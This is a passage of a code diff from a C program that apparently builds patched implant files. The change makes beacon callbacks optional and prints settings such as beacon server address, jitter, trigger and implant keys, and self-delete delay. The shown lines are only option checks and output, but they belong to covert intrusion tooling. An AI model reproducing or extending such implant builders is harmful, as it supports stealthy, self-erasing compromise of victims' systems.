| skipped 424 lines |
425 | 425 | | } |
426 | 426 | | |
427 | 427 | | if (raw == 0) { |
428 | | - | if ((args.beacon_port == 0) || (args.interval == 0) || (strlen(args.beacon_ip) == 0)) { |
429 | | - | printf("\n"); |
430 | | - | printf(" %sERROR: Incomplete options%s\n", RED, RESET); |
431 | | - | usage(argv); |
432 | | - | return -1; |
433 | | - | } |
434 | | - | // Enforce 0 <= jitter <= 30 requirement. |
435 | | - | if (((int) args.jitter < 0) || (args.jitter > 30)) { |
436 | | - | printf("\n"); |
437 | | - | printf(" %sError: Incorrect options%s\n", RED, RESET); |
438 | | - | usage(argv); |
439 | | - | return -1; |
| 428 | + | if (args.init_delay > 0) { // Beacons enabled |
| 429 | + | if ((args.beacon_port == 0) || (args.interval == 0) || (strlen(args.beacon_ip) == 0)) { |
| 430 | + | printf("\n"); |
| 431 | + | printf(" %sERROR: Incomplete options%s\n", RED, RESET); |
| 432 | + | usage(argv); |
| 433 | + | return -1; |
| 434 | + | } |
| 435 | + | // Enforce 0 <= jitter <= 30 requirement. |
| 436 | + | if (((int) args.jitter < 0) || (args.jitter > 30)) { |
| 437 | + | printf("\n"); |
| 438 | + | printf(" %sError: Incorrect options%s\n", RED, RESET); |
| 439 | + | usage(argv); |
| 440 | + | return -1; |
| 441 | + | } |
440 | 442 | | } |
441 | 443 | | |
442 | 444 | | if ( (linux_x86 == 0) && |
| skipped 12 lines |
455 | 457 | | |
456 | 458 | | printf("\n"); |
457 | 459 | | printf(" This application will generate PATCHED files with the following values:\n\n"); |
458 | | - | printf("\t%32s: %-s\n", "Beacon Server IP address", host); |
459 | | - | printf("\t%32s: %-d\n", "Beacon Server Port number", args.beacon_port); |
460 | 460 | | printf("\t%32s: %-s\n", "Primary DNS Server IP address", args.dns[0]); |
461 | 461 | | printf("\t%32s: %-s\n", "Secondary DNS Server IP address", args.dns[1]); |
462 | 462 | | printf("\t%32s: ", "Trigger Key"); printSha1Hash(stdout, "", triggerKey); printf("\n"); |
463 | 463 | | printf("\t%32s: ", "Implant Key"); printSha1Hash(stdout, "", implantKey); printf("\n"); |
464 | | - | printf("\t%32s: %-lu\n", "Beacon Initial Delay (sec)", args.init_delay / 1000); |
465 | | - | printf("\t%32s: %-d\n", "Beacon Interval (sec)", args.interval / 1000); |
466 | | - | printf("\t%32s: %-d\n", "Beacon Jitter (%)", args.jitter); |
467 | | - | printf("\t%32s: %-lu\n", "Self Delete Delay (sec)", args.delete_delay); |
| 464 | + | if (args.init_delay > 0) { |
| 465 | + | printf("\n\t%32s: %-s\n", "Beacon Server IP address", host); |
| 466 | + | printf("\t%32s: %-d\n", "Beacon Server Port number", args.beacon_port); |
| 467 | + | printf("\t%32s: %-lu\n", "Beacon Initial Delay (sec)", args.init_delay / 1000); |
| 468 | + | printf("\t%32s: %-d\n", "Beacon Interval (sec)", args.interval / 1000); |
| 469 | + | printf("\t%32s: %-d\n", "Beacon Jitter (%)", args.jitter); |
| 470 | + | } else { |
| 471 | + | printf("\n\t%32s\n", "Beacons Disabled"); |
| 472 | + | } |
| 473 | + | printf("\n\t%32s: %-lu\n", "Self Delete Delay (sec)", args.delete_delay); |
468 | 474 | | printf("\t%32s: %-s\n", "Self Delete Control File Path", args.sdpath); |
469 | 475 | | printf("\t%32s: %-d\n", "Trigger Delay (+/-30 sec)", args.trigger_delay / 1000); |
470 | 476 | | } |
471 | | - | ; |
| 477 | + | |
472 | 478 | | printf("\n Target Operating Systems:\n"); |
473 | 479 | | |
474 | 480 | | // little endian systems targets |
| skipped 160 lines |